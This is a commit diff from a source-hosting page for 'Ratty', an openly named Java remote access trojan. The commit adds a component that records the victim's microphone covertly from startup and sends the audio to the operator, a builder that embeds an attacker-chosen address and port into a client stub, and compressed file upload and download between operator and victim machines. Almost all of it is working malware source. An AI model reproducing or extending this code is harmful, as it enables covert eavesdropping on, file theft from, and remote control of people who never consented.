Browse Source

Major changes

Made more use of QuickLZ
Improved the builder (in terms of code)
Started to implement voice again
master
Sogomn 9 years ago
parent
commit
81e7540b57
  1. 1
      Ratty/res/language/lang.properties
  2. 1
      Ratty/res/language/lang_de.properties
  3. 1
      Ratty/res/language/lang_en.properties
  4. 1
      Ratty/src/de/sogomn/rat/ActiveConnection.java
  5. 2
      Ratty/src/de/sogomn/rat/Ratty.java
  6. 26
      Ratty/src/de/sogomn/rat/Trojan.java
  7. 50
      Ratty/src/de/sogomn/rat/builder/JarBuilder.java
  8. 129
      Ratty/src/de/sogomn/rat/builder/StubBuilder.java
  9. 10
      Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java
  10. 9
      Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java
  11. 18
      Ratty/src/de/sogomn/rat/packet/VoicePacket.java
  12. 44
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  13. 57
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  14. 66
      Ratty/src/de/sogomn/rat/util/VoiceRecorder.java

1
Ratty/res/language/lang.properties

@ -11,6 +11,7 @@ server.free_no=Cancel
builder.address_question=Which address should the client connect to? builder.address_question=Which address should the client connect to?
builder.port_question=Which port? builder.port_question=Which port?
builder.error=Something went wrong.
action.popup=Open popup action.popup=Open popup
action.screenshot=Take screensot action.screenshot=Take screensot

1
Ratty/res/language/lang_de.properties

@ -11,6 +11,7 @@ server.free_no=Abbrechen
builder.address_question=Mit welcher Adresse soll sich der Client verbinden? builder.address_question=Mit welcher Adresse soll sich der Client verbinden?
builder.port_question=Welcher Port? builder.port_question=Welcher Port?
builder.error=Etwas ist schiefgelaufen.
action.popup=Popup öffnen action.popup=Popup öffnen
action.screenshot=Screenshot machen action.screenshot=Screenshot machen

1
Ratty/res/language/lang_en.properties

@ -11,6 +11,7 @@ server.free_no=Cancel
builder.address_question=Which address should the client connect to? builder.address_question=Which address should the client connect to?
builder.port_question=Which port? builder.port_question=Which port?
builder.error=Something went wrong.
action.popup=Open popup action.popup=Open popup
action.screenshot=Take screensot action.screenshot=Take screensot

1
Ratty/src/de/sogomn/rat/ActiveConnection.java

@ -11,7 +11,6 @@ import de.sogomn.rat.packet.PacketType;
public final class ActiveConnection extends TCPConnection { public final class ActiveConnection extends TCPConnection {
private LinkedBlockingQueue<IPacket> packetQueue; private LinkedBlockingQueue<IPacket> packetQueue;
private Thread sender, reader; private Thread sender, reader;
private IConnectionObserver observer; private IConnectionObserver observer;

2
Ratty/src/de/sogomn/rat/Ratty.java

@ -27,7 +27,7 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty { public final class Ratty {
public static final boolean DEBUG = true; public static final boolean DEBUG = true;
public static final String VERSION = "1.6";
public static final String VERSION = "1.7";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address; private static String address;

26
Ratty/src/de/sogomn/rat/Trojan.java

@ -1,15 +1,37 @@
package de.sogomn.rat; package de.sogomn.rat;
import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.VoicePacket;
import de.sogomn.rat.util.VoiceRecorder;
public final class Trojan implements IConnectionObserver { public final class Trojan implements IConnectionObserver {
private VoiceRecorder voiceRecorder;
private static final int VOICE_BUFFER_SIZE = 1024 << 3;
public Trojan() { public Trojan() {
//...
voiceRecorder = new VoiceRecorder(VOICE_BUFFER_SIZE);
voiceRecorder.start();
}
private void handleVoicePacket(final VoicePacket packet) {
final byte[] data = voiceRecorder.getLastRecord();
packet.setData(data);
} }
@Override @Override
public void packetReceived(final ActiveConnection client, final IPacket packet) { public void packetReceived(final ActiveConnection client, final IPacket packet) {
final Class<? extends IPacket> clazz = packet.getClass();
if (clazz == VoicePacket.class) {
final VoicePacket voice = (VoicePacket)packet;
handleVoicePacket(voice);
}
packet.execute(client); packet.execute(client);
} }
@ -18,6 +40,8 @@ public final class Trojan implements IConnectionObserver {
final String address = client.getAddress(); final String address = client.getAddress();
final int port = client.getPort(); final int port = client.getPort();
voiceRecorder.stop();
client.setObserver(null); client.setObserver(null);
Ratty.connectToHost(address, port); Ratty.connectToHost(address, port);

50
Ratty/src/de/sogomn/rat/builder/JarBuilder.java

@ -0,0 +1,50 @@
package de.sogomn.rat.builder;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
import java.net.URISyntaxException;
import java.nio.file.FileSystem;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardCopyOption;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.Ratty;
public final class JarBuilder {
private static final File JAR_FILE;
static {
File jarFile = null;
try {
jarFile = new File(Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI());
} catch (final URISyntaxException ex) {
ex.printStackTrace();
}
JAR_FILE = jarFile;
}
private JarBuilder(final File file) {
//...
}
public static void build(final File destination, final String replacement, final byte[] replacementData) throws IOException {
FileUtils.copyFile(JAR_FILE, destination);
final Path destinationPath = destination.toPath();
final ByteArrayInputStream in = new ByteArrayInputStream(replacementData);
final FileSystem fileSystem = FileSystems.newFileSystem(destinationPath, null);
final Path replacementPath = fileSystem.getPath(replacement);
Files.copy(in, replacementPath, StandardCopyOption.REPLACE_EXISTING);
fileSystem.close();
in.close();
}
}

129
Ratty/src/de/sogomn/rat/builder/StubBuilder.java

@ -1,129 +0,0 @@
package de.sogomn.rat.builder;
import static de.sogomn.rat.Ratty.LANGUAGE;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
import java.nio.file.FileSystem;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardCopyOption;
import javax.swing.JFileChooser;
import javax.swing.JOptionPane;
import javax.swing.filechooser.FileNameExtensionFilter;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.Ratty;
/*
* This class is kinda hardcoded.
* I don't care.
*/
public final class StubBuilder {
private static final String ADDRESS_MESSAGE = LANGUAGE.getString("builder.address_question");
private static final String PORT_MESSAGE = LANGUAGE.getString("builder.port_question");
private static final String FILE_EXTENSION = ".jar";
private static final String FILE_NAME = "/connection_data.txt";
private StubBuilder() {
//...
}
private static File getFileInput(final boolean open) {
final JFileChooser fileChooser = new JFileChooser();
final String currentDirectoryPath = System.getProperty("user.dir");
final File currentDirectory = new File(currentDirectoryPath);
fileChooser.setCurrentDirectory(currentDirectory);
fileChooser.setFileFilter(new FileNameExtensionFilter("*.jar", "JAR"));
final int input = open ? fileChooser.showOpenDialog(null) : fileChooser.showSaveDialog(null);
if (input == JFileChooser.APPROVE_OPTION) {
File file = fileChooser.getSelectedFile();
final String name = file.getName();
if (!name.endsWith(FILE_EXTENSION)) {
file = new File(file + FILE_EXTENSION);
}
return file;
}
return null;
}
private static File copyJarFile() {
final File destination = getFileInput(false);
if (destination == null) {
return null;
}
try {
final URI sourceUri = Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI();
final File source = new File(sourceUri);
FileUtils.copyFile(source, destination);
return destination;
} catch (final URISyntaxException ex) {
ex.printStackTrace();
return null;
}
}
private static void replaceFile(final File jarFile) {
final String address = JOptionPane.showInputDialog(ADDRESS_MESSAGE);
if (address == null || address.isEmpty()) {
jarFile.delete();
return;
}
final String port = JOptionPane.showInputDialog(PORT_MESSAGE);
if (port == null || port.isEmpty()) {
jarFile.delete();
return;
}
final String fileContent = address + "\r\n" + port + "\r\ntrue";
final byte[] data = fileContent.getBytes();
final ByteArrayInputStream in = new ByteArrayInputStream(data);
final Path jarFilePath = jarFile.toPath();
try {
final FileSystem jarFileSystem = FileSystems.newFileSystem(jarFilePath, null);
final Path fileToReplace = jarFileSystem.getPath(FILE_NAME);
Files.copy(in, fileToReplace, StandardCopyOption.REPLACE_EXISTING);
jarFileSystem.close();
in.close();
} catch (final IOException ex) {
ex.printStackTrace();
}
}
public static void start() {
final File jarFile = copyJarFile();
if (jarFile != null) {
replaceFile(jarFile);
}
}
}

10
Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java

@ -4,6 +4,7 @@ import java.io.File;
import de.sogomn.engine.util.FileUtils; import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.util.QuickLZ;
public final class DownloadFilePacket extends AbstractPingPongPacket { public final class DownloadFilePacket extends AbstractPingPongPacket {
@ -31,8 +32,10 @@ public final class DownloadFilePacket extends AbstractPingPongPacket {
@Override @Override
protected void sendData(final ActiveConnection connection) { protected void sendData(final ActiveConnection connection) {
connection.writeInt(data.length);
connection.write(data);
final byte[] compressed = QuickLZ.compress(data);
connection.writeInt(compressed.length);
connection.write(compressed);
connection.writeUTF(fileName); connection.writeUTF(fileName);
} }
@ -46,9 +49,8 @@ public final class DownloadFilePacket extends AbstractPingPongPacket {
final int length = connection.readInt(); final int length = connection.readInt();
data = new byte[length]; data = new byte[length];
connection.read(data); connection.read(data);
data = QuickLZ.decompress(data);
fileName = connection.readUTF(); fileName = connection.readUTF();
} }

9
Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java

@ -4,6 +4,7 @@ import java.io.File;
import de.sogomn.engine.util.FileUtils; import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.util.QuickLZ;
public final class UploadFilePacket implements IPacket { public final class UploadFilePacket implements IPacket {
@ -29,8 +30,10 @@ public final class UploadFilePacket implements IPacket {
@Override @Override
public void send(final ActiveConnection connection) { public void send(final ActiveConnection connection) {
connection.writeInt(data.length);
connection.write(data);
final byte[] compressed = QuickLZ.compress(data);
connection.writeInt(compressed.length);
connection.write(compressed);
connection.writeUTF(folderPath); connection.writeUTF(folderPath);
connection.writeUTF(fileName); connection.writeUTF(fileName);
} }
@ -40,8 +43,8 @@ public final class UploadFilePacket implements IPacket {
final int length = connection.readInt(); final int length = connection.readInt();
data = new byte[length]; data = new byte[length];
connection.read(data); connection.read(data);
data = QuickLZ.decompress(data);
folderPath = connection.readUTF(); folderPath = connection.readUTF();
fileName = connection.readUTF(); fileName = connection.readUTF();

18
Ratty/src/de/sogomn/rat/packet/VoicePacket.java

@ -2,14 +2,22 @@ package de.sogomn.rat.packet;
import de.sogomn.engine.fx.Sound; import de.sogomn.engine.fx.Sound;
import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.util.QuickLZ;
public final class VoicePacket extends AbstractPingPongPacket { public final class VoicePacket extends AbstractPingPongPacket {
private byte[] data; private byte[] data;
public VoicePacket(final byte[] data) {
this.data = data;
type = DATA;
}
public VoicePacket() { public VoicePacket() {
this(new byte[0]);
type = REQUEST; type = REQUEST;
data = new byte[0];
} }
@Override @Override
@ -19,8 +27,10 @@ public final class VoicePacket extends AbstractPingPongPacket {
@Override @Override
protected void sendData(final ActiveConnection connection) { protected void sendData(final ActiveConnection connection) {
connection.writeInt(data.length);
connection.write(data);
final byte[] compressed = QuickLZ.compress(data);
connection.writeInt(compressed.length);
connection.write(compressed);
} }
@Override @Override
@ -33,8 +43,8 @@ public final class VoicePacket extends AbstractPingPongPacket {
final int length = connection.readInt(); final int length = connection.readInt();
data = new byte[length]; data = new byte[length];
connection.read(data); connection.read(data);
data = QuickLZ.decompress(data);
} }
@Override @Override

44
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -112,6 +112,8 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
lastServerClientClicked = tableModel.getServerClient(rowIndex); lastServerClientClicked = tableModel.getServerClient(rowIndex);
} }
}; };
final String currentPath = System.getProperty("user.dir");
final File currentDirectory = new File(currentPath);
attack.setActionCommand(ATTACK); attack.setActionCommand(ATTACK);
attack.addActionListener(this::actionPerformed); attack.addActionListener(this::actionPerformed);
@ -125,6 +127,7 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
table.setModel(tableModel); table.setModel(tableModel);
table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION); table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
table.setShowHorizontalLines(true); table.setShowHorizontalLines(true);
fileChooser.setCurrentDirectory(currentDirectory);
container.add(scrollPane, BorderLayout.CENTER); container.add(scrollPane, BorderLayout.CENTER);
container.add(menuBar, BorderLayout.SOUTH); container.add(menuBar, BorderLayout.SOUTH);
@ -173,6 +176,10 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
return input; return input;
} }
public void showError(final String message) {
JOptionPane.showMessageDialog(frame, message, null, JOptionPane.ERROR_MESSAGE, null);
}
public void showMessage(final String message) { public void showMessage(final String message) {
final JOptionPane pane = new JOptionPane(message, JOptionPane.INFORMATION_MESSAGE); final JOptionPane pane = new JOptionPane(message, JOptionPane.INFORMATION_MESSAGE);
final JDialog dialog = pane.createDialog(frame, null); final JDialog dialog = pane.createDialog(frame, null);
@ -207,12 +214,45 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
return getFile(null); return getFile(null);
} }
public String getInput() {
final String input = JOptionPane.showInputDialog(frame, null);
public File getSaveFile() {
final int input = fileChooser.showSaveDialog(frame);
if (input == JFileChooser.APPROVE_OPTION) {
final File file = fileChooser.getSelectedFile();
return file;
}
return null;
}
public File getSaveFile(final String type) {
File file = getSaveFile();
if (file == null) {
return null;
}
final String name = file.getName().toLowerCase();
final String suffix = "." + type.toLowerCase();
if (!name.endsWith(suffix)) {
file = new File(file + suffix);
}
return file;
}
public String getInput(final String message) {
final String input = JOptionPane.showInputDialog(frame, message);
return input; return input;
} }
public String getInput() {
return getInput(null);
}
public ServerClient getLastServerClientClicked() { public ServerClient getLastServerClientClicked() {
return lastServerClientClicked; return lastServerClientClicked;
} }

57
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -4,14 +4,16 @@ import static de.sogomn.rat.Ratty.LANGUAGE;
import java.awt.image.BufferedImage; import java.awt.image.BufferedImage;
import java.io.File; import java.io.File;
import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Set; import java.util.Set;
import javax.swing.JOptionPane; import javax.swing.JOptionPane;
import de.sogomn.engine.fx.ISoundListener;
import de.sogomn.engine.fx.Sound; import de.sogomn.engine.fx.Sound;
import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.builder.StubBuilder;
import de.sogomn.rat.builder.JarBuilder;
import de.sogomn.rat.packet.AudioPacket; import de.sogomn.rat.packet.AudioPacket;
import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.CommandPacket;
@ -42,9 +44,15 @@ public final class RattyGuiController extends AbstractRattyController implements
private HashMap<ActiveConnection, ServerClient> clients; private HashMap<ActiveConnection, ServerClient> clients;
private static final String BUILDER_REPLACEMENT = "/connection_data.txt";
private static final String BUILDER_REPLACEMENT_FORMAT = "%s\r\n%s\r\ntrue";
private static final String FREE_WARNING = LANGUAGE.getString("server.free_warning"); private static final String FREE_WARNING = LANGUAGE.getString("server.free_warning");
private static final String FREE_OPTION_YES = LANGUAGE.getString("server.free_yes"); private static final String FREE_OPTION_YES = LANGUAGE.getString("server.free_yes");
private static final String FREE_OPTION_NO = LANGUAGE.getString("server.free_no"); private static final String FREE_OPTION_NO = LANGUAGE.getString("server.free_no");
private static final String BUILDER_ERROR_MESSAGE = LANGUAGE.getString("builder.error");
private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question");
private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question");
public RattyGuiController() { public RattyGuiController() {
gui = new RattyGui(); gui = new RattyGui();
@ -204,6 +212,35 @@ public final class RattyGuiController extends AbstractRattyController implements
requestFile(client, node); requestFile(client, node);
} }
private void startBuilder() {
final File destination = gui.getSaveFile("JAR");
if (destination == null) {
return;
}
final String address = gui.getInput(BUILDER_ADDRESS_QUESTION);
if (address == null) {
return;
}
final String port = gui.getInput(BUILDER_PORT_QUESTION);
if (port == null) {
return;
}
final String replacementString = String.format(BUILDER_REPLACEMENT_FORMAT, address, port);
final byte[] replacementData = replacementString.getBytes();
try {
JarBuilder.build(destination, BUILDER_REPLACEMENT, replacementData);
} catch (final IOException ex) {
gui.showError(BUILDER_ERROR_MESSAGE + "\r\n" + ex.getMessage());
}
}
private void launchAttack() { private void launchAttack() {
//... //...
} }
@ -220,7 +257,7 @@ public final class RattyGuiController extends AbstractRattyController implements
} else if (command == RattyGui.ATTACK) { } else if (command == RattyGui.ATTACK) {
launchAttack(); launchAttack();
} else if (command == RattyGui.BUILD) { } else if (command == RattyGui.BUILD) {
StubBuilder.start();
startBuilder();
} else if (command == FileTree.NEW_DIRECTORY || command == FileTree.UPLOAD || command == FileTree.REQUEST || command == FileTree.DELETE) { } else if (command == FileTree.NEW_DIRECTORY || command == FileTree.UPLOAD || command == FileTree.REQUEST || command == FileTree.DELETE) {
handleFileTreeCommand(client, command); handleFileTreeCommand(client, command);
} }
@ -312,9 +349,21 @@ public final class RattyGuiController extends AbstractRattyController implements
} }
final Sound sound = packet.getSound(); final Sound sound = packet.getSound();
final VoicePacket request = new VoicePacket();
final ISoundListener listener = new ISoundListener() {
@Override
public void looped(final Sound source) {
//...
}
@Override
public void stopped(final Sound source) {
final VoicePacket request = new VoicePacket();
client.connection.addPacket(request);
}
};
client.connection.addPacket(request);
sound.addListener(listener);
sound.play(); sound.play();
} }

66
Ratty/src/de/sogomn/rat/util/VoiceRecorder.java

@ -0,0 +1,66 @@
package de.sogomn.rat.util;
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.LineUnavailableException;
import javax.sound.sampled.TargetDataLine;
public final class VoiceRecorder {
private TargetDataLine line;
private Thread thread;
private boolean running;
private byte[] data;
public VoiceRecorder(final int bufferSize) {
data = new byte[bufferSize];
}
public void start() {
if (running) {
return;
}
final Runnable runnable = () -> {
while (running) {
line.read(data, 0, data.length);
}
};
try {
line = AudioSystem.getTargetDataLine(null);
thread = new Thread(runnable);
running = true;
line.open();
line.start();
thread.start();
} catch (final LineUnavailableException ex) {
ex.printStackTrace();
}
}
public void stop() {
if (!running) {
return;
}
running = false;
thread.interrupt();
line.stop();
line.close();
thread = null;
line = null;
}
public boolean isRunning() {
return running;
}
public byte[] getLastRecord() {
return data;
}
}
Loading…
Cancel
Save